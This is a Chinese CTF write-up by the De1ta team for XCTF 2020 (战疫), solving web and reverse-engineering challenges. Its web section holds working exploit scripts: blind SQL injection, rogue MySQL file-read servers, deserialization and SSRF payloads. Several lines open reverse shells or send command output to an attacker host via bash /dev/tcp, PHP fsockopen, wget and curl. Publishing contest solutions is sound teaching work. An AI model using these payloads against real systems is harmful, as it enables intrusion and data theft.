XCTF战疫 2020 Writeup

De1ta-Team

Team: De1ta

前排广告位:De1ta长期招 逆向/pwn/密码学/硬件/取证/杂项/etc. 选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=

[toc]

Web

easy_trick_gzmtu

传入2020 和Y都能查出结果,传入y20,yy,20y也可以,
猜测后端对参数做了date()转换,用\可以使date后的字符串不变,于是构造盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

se = requests.Session()

pl = r'http://121.37.181.246:6333/?time=0%%27||(\a\s\c\i\i(\s\u\b\s\t\r((\s\e\l\e\c\t%%20\d\a\t\a\b\a\s\e()),%d,1)))=%d%%23'
pl = r'http://121.37.181.246:6333/?time=0%%27||(\a\s\c\i\i(\s\u\b\s\t\r((\s\e\l\e\c\t%%20\g\r\o\u\p_\c\o\n\c\a\t(\t\a\b\l\e_\n\a\m\e)%%20\f\r\o\m%%20\i\n\f\o\r\m\a\t\i\o\n_\s\c\h\e\m\a.\t\a\b\l\e\s \w\h\e\r\e \t\a\b\l\e_\s\c\h\e\m\a=\d\a\t\a\b\a\s\e()),%d,1)))=%d%%23'
pl = r'http://121.37.181.246:6333/?time=0%%27||(\a\s\c\i\i(\s\u\b\s\t\r((\s\e\l\e\c\t%%20\g\r\o\u\p_\c\o\n\c\a\t(\c\o\l\u\m\n_\n\a\m\e)%%20\f\r\o\m%%20\i\n\f\o\r\m\a\t\i\o\n_\s\c\h\e\m\a.\c\o\l\u\m\n\s%%20\w\h\e\r\e%%20\t\a\b\l\e_\n\a\m\e=%%27\a\d\m\i\n%%27),%d,1)))=%d%%23'
pl = r'http://121.37.181.246:6333/?time=0%%27||(\a\s\c\i\i(\s\u\b\s\t\r((\s\e\l\e\c\t%%20\g\r\o\u\p_\c\o\n\c\a\t(\u\r\l)%%20\f\r\o\m%%20\a\d\m\i\n),%d,1)))=%d%%23'
text = ''

for x in xrange(1,50):
        for y in xrange(33,126):
                res = se.get(pl % (x,y))
                if 'Hello World --Brian Kernighan' in res.content:
                        text += chr(y)
                        print text
                        break

注入出一个admin用户

1
2
3
账号 admin
密码 20200202goodluck
URL:http://121.37.181.246:6333/eGlhb2xldW5n/

有个读文件的地方,限制了只能本地读取文件,发现file://localhost/可以绕过

1
http://121.37.181.246:6333/eGlhb2xldW5n/check.php?url=file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

class trick{
public $gf;
public function content_to_file($content){
$passwd = $_GET['pass'];
if(preg_match('/^[a-z]+\.passwd$/m',$passwd))
{

if(strpos($passwd,"20200202")){
echo file_get_contents("/".$content);

}

}
}
public function aiisc_to_chr($number){
if(strlen($number)>2){
$str = "";
$number = str_split($number,2);
foreach ($number as $num ) {
$str = $str .chr($num);
}
return strtolower($str);
}
return chr($number);
}
public function calc(){
$gf=$this->gf;
if(!preg_match('/[a-zA-z0-9]|\&|\^|#|\$|%/', $gf)){
eval('$content='.$gf.';');
$content = $this->aiisc_to_chr($content);
return $content;
}
}
public function __destruct(){
$this->content_to_file($this->calc());

}

}
unserialize((base64_decode($_GET['code'])));

?>

最后反序列化读flag

1
http://121.37.181.246:6333/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php?code=Tzo1OiJ0cmljayI6MTp7czoyOiJnZiI7czoyMzoifsfJycrHzcvIy8nLycvIyM/IycnKyM4iO30=&pass=a.passwd%0a20200202

webct

有个上传文件的点,和一个连接mysql数据库的点
mysql数据库传入的option参数可控,将其设置为8可以开启MYSQLI_OPT_LOCAL_INFILE。
但是直接读文件失败了,想到构造phar文件让msyql去读取触发反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class Fileupload
{
public $file;
}

class Listfile
{
public $file;
}

$payload=new Listfile();
$payload->file='$(bash -c "bash -i >& /dev/tcp/ip/1234 0>&1")';
$file=new Fileupload();
$file->file=$payload;
unlink("./phar.phar");
$phar = new Phar("./phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($file);
$phar->addFromString("test.txt", "test");

$phar->stopBuffering();
echo urlencode(serialize($file));
?>

上传之后直接用MysqlRouge触发反序列化即可,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
coding=utf-8 
import socket
import logging
logging.basicConfig(level=logging.DEBUG)

filename="phar:////var/www/html/uploads/846c8ebb95a1fc1828e4fcc14a8902e0/b4bc4fd46f0e346f2bd105c93c5a1b20.jpg"
sv=socket.socket()
sv.bind(("",3309))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

payload:

1
ip=ip:port&user=user&password=passsword&option=8

最后/readflag

1
flag:flag{bfa7ea9865f08c320abab5323a1b522c1}

fmkq

审计代码可以构造SSRF
http://121.37.179.47:1101/?head=\&url=xxx.xxx.xxx.xxx

发现

1
2
extract($_GET);
echo sprintf($begin.'%d',$output);

传入begin=%s%,可以读到output,于是得到有回显SSRF
扫描内网发现8080端口开放
fmkq1.png

1
/?url=http://localhost:8080/read/file=/etc/passwd%26vipcode%3d0&head=\&begin=%s%

通过这个接口自带的列目录功能可以发现flag在

但是不能直接读
但是如果file参数传入{file}时会被解析成error,尝试{file.class}之后确定后端为python且存在格式化字符串漏洞

存用

1
/?url=http://localhost:8080/read/file={file.__class__.__init__.__globals__[vip].__init__.__globals__}%26vipcode={file}&head=\&begin=%s%

可读取到vipcode的值

1
'vipcode': 'uJvFXyqiHnztNQBU10TYkepKjAh7xVMfmgdS4G9r5sWa6loL

有了vipcode可以读取源码和列目录,知道flag在/fl4g_1s_h3re_u_wi11_rua里,但是读不了,于是读取项目代码,如下:

/app/base/readfile.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from .vip import vip
import re
import os


class File:
def __init__(self,file):
self.file = file

def __str__(self):
return self.file

def GetName(self):
return self.file


class readfile():

def __str__(self):
filename = self.GetFileName()
if '..' in filename or 'proc' in filename:
return "quanbumuda"
else:
try:
file = open("/tmp/" + filename, 'r')
content = file.read()
file.close()
return content
except:
return "error"

def __init__(self, data):
if re.match(r'file=.*?&vipcode=.*?',data) != None:
data = data.split('&')
data = {
data[0].split('=')[0]: data[0].split('=')[1],
data[1].split('=')[0]: data[1].split('=')[1]
}
if 'file' in data.keys():
self.file = File(data['file'])

if 'vipcode' in data.keys():
self.vipcode = data['vipcode']
self.vip = vip()


def test(self):
if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self):
return False
else:
return True

def isvip(self):
if self.vipcode == self.vip.GetCode():
return True
else:
return False

def GetFileName(self):
return self.file.GetName()


current_folder_file = []


class vipreadfile():
def __init__(self,readfile):
self.filename = readfile.GetFileName()
self.path = os.path.dirname(os.path.abspath(self.filename))
self.file = File(os.path.basename(os.path.abspath(self.filename)))
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file

def __str__(self):
if 'fl4g' in self.path:
return 'nonono,this folder is a secret!!!'
else:
output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
output += filepath
output += '\r\n\r\nThe content is:\r\n'
try:
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can\'t read'
output += content
output += '\r\n\r\nOther files under the same folder:\r\n'
output += ' '.join(current_folder_file)
return output
```

/app/base/vip.py

```python
import random
import string


vipcode = ''


class vip:
def __init__(self):
global vipcode
if vipcode == '':
vipcode = ''.join(random.sample(string.ascii_letters+string.digits, 48))
self.truevipcode = vipcode
else:
self.truevipcode = vipcode

def GetCode(self):
return self.truevipcode

/app/app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import web
from urllib.parse import unquote
from base.readfile import *

urls = (
'/', 'help',
'/read/(.*)','read'
)
web.config.debug = False

class help:
def GET(self):
help_information = '''
Welcome to our FMKQ api, you could use the help information below
To read file:
/read/file=example&vipcode=example
if you are not vip,let vipcode=0,and you can only read /tmp/{file}
Other functions only for the vip!!!
'''
return help_information

class read:
def GET(self,text):
file2read = readfile(text)
if file2read.test() == False:
return "error"
else:
if file2read.isvip() == False:
return ("The content of "+ file2read.GetFileName() +" is {file}").format(file=file2read)
else:
vipfile2read = vipreadfile(file2read)
return (str(vipfile2read))
if __name__ == "__main__":
app = web.application(urls, globals())
app.run()

path中不能有fl4g,但是读取flag必定会吧上一级当成path,
发现vipfile和file一样存在格式化字符串漏洞,想到构造一个f绕过对fl4g的过滤,
payload:

1
/?url=http://localhost:8080/read/file={vipfile.__class__.__init__.__globals__[vipreadfile].__module__[9]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=uJvFXyqiHnztNQBU10TYkepKjAh7xVMfmgdS4G9r5sWa6loL&head=\&begin=%s%

flag:
flag{qoSF2nKvwoGRI7aJ}

Dooog

通读代码,看起来是个kerberos协议
核心就是伪造一个时间戳,绕过对cmd的验证
dooog1.png
然后直接/readflag
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if __name__ == '__main__':
username ="xishir"
master_key = "12345678"
cmd = "wget xxxx/`/readflag`"
cryptor = AESCipher(master_key)
authenticator = cryptor.encrypt(json.dumps({'username':username, 'timestamp': int(time.time())}))
res = requests.post('http://121.37.164.32:5001/getTGT', data={'username': username, 'authenticator': base64.b64encode(authenticator)})
print res.text
session_key, TGT = cryptor.decrypt(base64.b64decode(res.content.split('|')[0])), res.content.split('|')[1]
cryptor = AESCipher(session_key)
authenticator = cryptor.encrypt(json.dumps({'username': username, 'timestamp': int(time.time())-61}))
res = requests.post('http://121.37.164.32:5001/getTicket', data={'username': username, 'cmd': cmd, 'authenticator': base64.b64encode(authenticator), 'TGT': TGT})
print res.text
client_message, server_message = res.content.split('|')

session_key = cryptor.decrypt(base64.b64decode(client_message))

cryptor = AESCipher(session_key)
authenticator = base64.b64encode(cryptor.encrypt(username))
res = requests.post('http://121.37.164.32:5002/cmd', data={'server_message': server_message, 'authenticator': authenticator})

GuessGame

http://121.37.179.47:8081/static/app.js 有后端源码

ADmin888大小写绕过admin的检查,
merge存在原型链污染,可以把config.enableReg改成true,
构造

1
{"user":{"username":"ADmin888","__proto__": {"enableReg": true}}}

然后可以控制进行一次正则匹配,因为没有任何回显,猜测是要redos进行延时盲注
guess.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time

flag = "g3"
ext = "zY"
for i in range(50):
alls = []
for f in "{}_0123456789abcdefghijklmnopqestuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
t = time.time()
headers = {'Content-Type': 'application/json'}
payload = """{"q":"^((.*)+)+[^%s]%s$","tmp":"%d"}""" % (f, ext, t)
#payload = """{"q":"^(((.*)+?)+?)+?[^%s]%s$","tmp":"%d"}""" % (f, ext, t)
#print payload
r = requests.post(url="http://121.37.179.47:8081/verifyFlag", headers=headers, data=payload)
tt = time.time() - t
alls.append({"time":tt,"v":f})
print f,tt,r,len(r.text),payload

alls.sort()
ext = alls[-1]["v"] + ext
print alls[-3:]
print i, flag, ext

服务器一触发redos就挂,挂一台跑一位出来(运维大哥别打我
最后跑出结果g3tFLAaGEAxY
flag:flag{g3tFLAaGEAxY}

后来发现题目超时就断开了,更容易跑了。。

PHP-UAF

PHP 7.4.2,直接用现成exp打
https://github.com/mm0r1/exploits
uaf1.png
uaf2.png

happyvacation

http://159.138.4.209:1002/.git git泄露源码
审计代码发现答题的地方有个eval,answer参数有几个过滤,不能直接命令注入
hv1.png
但是看到this->user引入了上一层的$user,想到另外还有个上传点,于是构造
hv2.png
把uploader中的上传后缀黑名单清除,就能上传php文件了
hv3.png
hv4.png
最后直接读取/flag
hv5.png

所以提示里的bot是啥玩意?

自欺欺人md5验证码又是啥玩意?
hv6.png

nothardweb

他key是mt_rand & 0x5f5e0ff
0x5f5e0ff = 0b101111101011110000011111111
0的地方必然是0 也就是1的地方有两个可能 一共19个1,2**19 54w次也不多
如果爆破出来的key是对的 那么就能正常解密出来后面几组的数据 因为后面几组不需要iv的参与
就是可能得倒着解密
最后得到第一组密文之后直接异或明文就得到iv了

爆破key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

<?php
$cccc="%d0%d%d%d%d%d0%d0%d%d%d%d00000%d%d%d%d%d%d%d%d";

for ($a=0; $a < 2; $a++) {
for ($b=0; $b < 2; $b++) {
for ($c=0; $c < 2; $c++) {
for ($d=0; $d < 2; $d++) {
for ($e=0; $e < 2; $e++) {
for ($f=0; $f < 2; $f++) {
for ($g=0; $g < 2; $g++) {
for ($h=0; $h < 2; $h++) {
for ($i=0; $i < 2; $i++) {
for ($j=0; $j < 2; $j++) {
for ($k=0; $k < 2; $k++) {
for ($l=0; $l < 2; $l++) {
for ($m=0; $m < 2; $m++) {
for ($n=0; $n < 2; $n++) {
for ($o=0; $o < 2; $o++) {
for ($p=0; $p < 2; $p++) {
for ($q=0; $q < 2; $q++) {
for ($r=0; $r < 2; $r++) {
for ($s=0; $s < 2; $s++) {
$f_key=sprintf($cccc,$a,$b,$c,$d,$e,$f,$g,$h,$i,$j,$k,$l,$m,$n,$o,$p,$q,$r,$s);
$key=base_convert($f_key,2,10);
$result=decode_aes($key);
if(stripos($result,"guest")){
echo $result;
echo $key."\n";
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}

function decode_aes($key){
$ch=base64_decode("NGtWc0JCQ080dkNxcnhtVjVOSG1rQ3hWckRab3pjWkllTmdJMmovclR4YktzNk9FTERBSnYxSUNKVmQ4Qk55Qg==");
$de = openssl_decrypt($ch,"des-cbc",$key,0,"abcdabcd");
return $de;
}

?>

得到key之后逆推iv即可,然后构造soap反序列化ssrf即可

最后的payload :

1
2
3
4
5
6
7
8
9
<?php
$key="17834064";
$iv="85196940";
$a = new SoapClient(null,array('uri'=>'http://10.10.1.12/index.php', 'location'=>'http://10.10.1.12/index.php?cc=`$cc`;php+-r+%27%24sock%3Dfsockopen%28%22????%22%2C????%29%3Bexec%28%22%2Fbin%2Fsh+-i+%3C%263+%3E%263+2%3E%263%22%29%3B%27;'));
$b = serialize($a);
echo base64_encode(openssl_encrypt($b,"des-cbc",$key,0,$iv))."\n";
echo md5($b);

?>

直接用php弹shell了

然后发现根目录有个hint文件

image.png

传个ew进去开隧道康康发现是个tomcat,可以直接put一个shell上去

然后就没有然后了,flag在根目录下

webtmp

pickle反序列化题,参考之前SUCTF 2019那题。

需要满足 result == Animal(secret.name, secret.category)

限制反序列化的class所属module为:main

目标:
覆写__main__.secret.name为任意值(例如:aaa)
覆写__main__.secret.category为任意值(例如:bbb)
反序列化一个__main__.Animal的实例,令self.name为aaa,self.categorybbb

Payload:

1
2
3
4
\x80\x03
c__main__\nsecret\nN(S'name'\nS'aaa'\nd\x86b
c__main__\nsecret\nN(S'category'\nS'bbb'\nd\x86b
c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x03\x00\x00\x00aaaq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00bbbq\x06ub.

Base64编码后:

1
gANjX19tYWluX18Kc2VjcmV0Ck4oUyduYW1lJwpTJ2FhYScKZIZiY19fbWFpbl9fCnNlY3JldApOKFMnY2F0ZWdvcnknClMnYmJiJwpkhmJjX19tYWluX18KQW5pbWFsCnEAKYFxAX1xAihYBAAAAG5hbWVxA1gDAAAAYWFhcQRYCAAAAGNhdGVnb3J5cQVYAwAAAGJiYnEGdWIu

提交拿到Flag:
flag{409ed945-5b77-4ec3-97e1-b395778842ba}

hackme

源码泄漏:www.zip

下载源码代码审计,在签名处存在反序列化漏洞,只要用户名为admin就能访问/core/index.php

php在获取 session 的时候,会按照 session.serialize_handler=php 规则来处理 session 文件,将 | 符号之前的所有内容认为是键名,之后的内容则用于反序列化。
参考链接

构造payload:
O:4:”info”:2:{s:5:”admin”;i:1;s:4:”sign”;s:4:”test”;}

获取/core/index.php的内容,并发现是4字符getshell和data协议
参考链接

data协议利用:
compress.zlib://data:@127.0.0.1/127.0.0.1?plain;base64,xxxxx;

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#python 2.7

import hackhttp

hh = hackhttp.hackhttp()

import base64

vps = ''

ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))for i in vps.split('.')])

pos0 = 'e'

pos1 = 'h'

pos2 = 'g'

payload = [

'>dir',

'>%s\>' % pos0,

'>%st-' % pos1,

'>sl',

'*>v',

'>rev',

'*v>%s' % pos2,

'>p',

'>ph\\',

'>1.\\',

'>\>\\',

'>%s\\' % ip[8:10],

'>%s\\' % ip[6:8],

'>%s\\' % ip[4:6],

'>%s\\' % ip[2:4],

'>%s\\' % ip[0:2],

'>\ \\',

'>rl\\',

'>cu\\',

'sh ' + pos2,

'sh ' + pos0,

]

tmp = '''POST /core/ HTTP/1.1

Host: http://121.36.222.22:88

Content-Length: 77

Pragma: no-cache

Cache-Control: no-cache

Origin: http://121.36.222.22:88

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Referer: http://121.36.222.22:88/core/

Cookie: PHPSESSID={session}


url=compress.zlib%3A%2F%2Fdata%3A%40127.0.0.1%2Fplain%3Bbase64%2C{}

'''

for i in payload:

print(base64.b64encode(i).replace('+',"%2B").replace("=","%3D"))

data = tmp.format(base64.b64encode(i).replace('+',"%2B").replace("=","%3D"))

code, head, html, redirect, log = hh.http('http://121.36.222.22:88/core/', raw=data)

访问1.php并getflag

nweb

注册用户

POST /regist.php HTTP/1.1
email=akkkw2&pass=123456&repass=b233gg&type=110

参考注册页源代码,type改成110,注册一个有权限的账号。

/flag.php 有权限访问了

search.php存在盲注

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import hackhttp
hhp = hackhttp.hackhttp()

url = 'http://121.37.179.47:1001/search.php'

str1 = '''POST /search.php HTTP/1.1
Host: 121.37.179.47:1001
Content-Length: 60
Pragma: no-cache
Cache-Control: no-cache
Origin: http://121.37.179.47:1001
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://121.37.179.47:1001/search.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7
Cookie: PHPSESSID=tm931kor7tr5qnhd641nb9qrg7; username=6620aef2bb0988189fc2e05465b2c4d1
Connection: close

{}
'''

str2 = "flag=1'or ascii(substr((selselectect flag frfromom fl4g),{},1))>{}%23"

res = ''
for i in range(1,10000):
tmp = len(res)
high = 127
low = 31
mid = (low + high) // 2
while high > low:
data = str1.format(str2.format(i,mid))
code, head, html, redirect, log = hhp.http(url, raw=data)
if '!' in html:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
res += chr(int(mid))
print(res)
if mid == 31:
print(res[:-1])
print('emm.......')
exit(-1)

只能跑出一半的flag。
发现数据库username表里有admin用户.

账户:admin;密码:whoamiadmin,登陆进去有个database.php,猜测应该是利用Rouge Mysql读取另外一半flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#coding=utf-8 
import socket
import logging
logging.basicConfig(level=logging.DEBUG)

filename="/var/www/html/flag.php"
sv=socket.socket()
sv.bind(("",3309))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

flag另外一半在注释里面,拼接即可:flag{Rogue-MySql-Server-is-nday}

sqlcheckin

原题。
payload: password=’-0-‘

flag{ysffXdKecK8pmCEk}

Re

clock

非线性反馈移位寄存器,强网杯2018 streamgame3改的,改改脚本可用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
def lfsr(R, mask):
output = (R << 1) & 0xffffff
i = (R & mask) & 0xffffff
lastbit = 0
while i != 0:
lastbit ^= (i & 1)
i = i >> 1
output ^= lastbit
return (output, lastbit)


def single_round(R1, R1_mask, R2, R2_mask, R3, R3_mask):
(R1_NEW, x1) = lfsr(R1, R1_mask)
(R2_NEW, x2) = lfsr(R2, R2_mask)
(R3_NEW, x3) = lfsr(R3, R3_mask)
if(x1&1):
out = x3
else:
out = x2
return (R1_NEW, R2_NEW, R3_NEW, out)


R1_mask = 0x17fa06
R2_mask = 0x2a9a0d
R3_mask = 0x5e5e6a
n1 = 21
n2 = 22
n3 = 23

def guess(beg, end, num, mask):
ansn = range(beg, end)
data = open('./output').read(num)
data = ''.join(bin(256 + ord(c))[3:] for c in data)
now = 0
res = 0
for i in ansn:
r = i
cnt = 0
for j in range(num * 8):
r, lastbit = lfsr(r, mask)
lastbit = str(lastbit)
cnt += (lastbit == data[j])
if cnt > now:
now = cnt
res = i
print now, res
return res


def bruteforce2(y, z):
data = open('./output').read(50)
data = ''.join(bin(256 + ord(c))[3:] for c in data)
for x in range(pow(2, n1 - 1), pow(2, n1)):
R1, R2, R3 = x, y, z
flag = True
for i in range(len(data)):
(R1, R2, R3,
out) = single_round(R1, R1_mask, R2, R2_mask, R3, R3_mask)
if str(out) != data[i]:
flag = False
break
if y % 10000 == 0:
print 'now: ', x, y, z
if flag:
print 'ans: ', hex(x)[2:], hex(y)[2:], hex(z)[2:]
break


R2 = guess(pow(2, n2 - 1), pow(2, n2), 40, R2_mask)
print R2
R3 = guess(pow(2, n3 - 1), pow(2, n3), 40, R3_mask)
print R3
R2 = 3324079
R3 = 4958299
bruteforce2(R2, R3)

cycle graph

图算法,先按可见字符过滤,后来猜测0-9,a-f,多个的穷举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
data = [0x00000034, 0x00403398, 0x0040338C, 0x00000002, 0x00403398, 0x004033E0, 0x0000002C, 0x0040338C,
0x004033D4, 0x0000002A, 0x00403458, 0x00403494, 0x00000006, 0x004033D4, 0x004033EC, 0x0000002A,
0x00403398, 0x00403464, 0x0000002F, 0x004034B8, 0x004034F4, 0x0000002A, 0x0040341C, 0x00403494,
0x00000033, 0x004033B0, 0x004033EC, 0x00000003, 0x004033F8, 0x0040341C, 0x00000002, 0x004033B0,
0x00403410, 0x00000032, 0x0040347C, 0x004034DC, 0x00000032, 0x00403428, 0x004033F8, 0x00000032,
0x0040338C, 0x004034A0, 0x00000030, 0x00403380, 0x004033EC, 0x00000003, 0x00403428, 0x004034A0,
0x00000001, 0x004033BC, 0x004034AC, 0x00000032, 0x004033D4, 0x004033EC, 0x0000002B, 0x004034D0,
0x004034B8, 0x00000002, 0x00403410, 0x004033A4, 0x0000002E, 0x004034D0, 0x00403488, 0x00000001,
0x00403434, 0x004033C8, 0x00000002, 0x00403434, 0x0040344C, 0x0000002D, 0x00403398, 0x0040341C,
0x00000032, 0x00403440, 0x004033D4, 0x00000004, 0x00403494, 0x00403434, 0x0000002D, 0x004034E8,
0x00403470, 0x00000030, 0x00403494, 0x0040338C, 0x00000031, 0x00403464, 0x00403440, 0x0000002F,
0x004033EC, 0x004033B0, 0x00000033, 0x00403488, 0x00403404, 0x00000005, 0x004034F4, 0x004034F4]
node = []
for i in range(32):

data[i*3+1] -= 0x00403380
data[i*3+1] //= 12
data[i*3+2] -= 0x00403380
data[i*3+2] //= 12
tmp = [data[3*i], data[i*3+1], data[i*3+2]]
node.append(tmp)
p = 0
delta = 48
res = []
res.append(node[p][0]+48)
delta = node[p][0]+48
p = node[p][1]

digit = list(b"0123456789abcdef")

for i in range(15):
if delta + node[p][0] not in digit:
delta = delta - node[p][0]
res.append(delta)
p = node[p][2]
elif delta - node[p][0] not in digit:
delta = delta + node[p][0]
res.append(delta)
p = node[p][1]
else:
print(p, delta, node[p], i)
if i == 4:
delta = delta + node[p][0]
res.append(delta)
p = node[p][1]
elif i == 12:
delta = delta - node[p][0]
res.append(delta)
p = node[p][2]
else:
exit()
'''
delta = delta + node[p][0]
res.append(delta)
p = node[p][1]

delta = delta - node[p][0]
res.append(delta)
p = node[p][2]
'''
print(bytes(res))

天津垓

smc,加密比较简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cipher = [17, 8, 6, 10, 15, 20, 42, 59, 47, 3, 47, 4, 16, 72, 62, 0, 7, 16]
key = list(b"Rising_Hopper!")
plain = []
for i in range(18):
plain.append(cipher[i]^key[i%14])
print(bytes(plain))
# [email protected]_ability

res = [0x1EA272, 0x206FC4, 0x1D2203, 0x1EEF55, 2421009, 0x193A7C, 0x1F3C38, 2184813, 2302911, 2263545, 1909251, 2165130, 1968300, 2243862, 2066715, 2322594, 1987983, 2243862, 1869885, 2066715, 2263545, 1869885, 964467, 944784, 944784, 944784, 728271, 1869885, 2263545, 2283228, 2243862, 2184813, 2165130, 2027349, 1987983, 2243862, 1869885, 2283228, 2047032, 1909251, 2165130, 1869885, 2401326, 1987983, 2243862, 2184813, 885735, 2184813, 2165130, 1987983, 2460375]

mul = 19683
for i in range(51):
res[i] //= mul
print(bytes(res))

easyparser

虚拟机题,init和fini还有另外几部分虚拟机,加密比较简单

1
2
3
4
5
res = [0x90, 0x14C, 0x1C, 0xF0, 0x84, 0x3C, 0x18, 0x40, 0x40, 0xF0, 0xD0, 0x58, 0x2C, 0x8, 0x34, 0xF0, 0x114, 0xF0, 0x80, 0x2C, 0x28, 0x34, 0x8, 0xF0, 0x90, 0x44, 0x30, 0x50, 0x5C, 0x2C, 0x108, 0xF0]
for i in range(len(res)):
res[i] >>= 2
res[i] ^= 0x63
print(bytes(res))

Rubik

二阶魔方,两个int64存放面,每三个bit代表一面的颜色

构造各种输入得到三个bit对应的颜色和位置,用在线求解器求解

http://rubiks-cube-solver.com/2x2/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
    
# 0 0 0 4 4 3
# 0 0 5 4 2 3
# 0 0 3 0 2 2
# 0 0 0 0 0 0
# 5 5 2 5 4 4
# 5 1 2 5 0 0
# 5 1 3 5 5 5
# 5 5 5 5 5 5
# 4 5 1 4 4 4
# 4 5 1 3 3 5
# 4 4 4 3 3 1
# 4 4 4 4 4 4
# 3 3 0 3 5 5
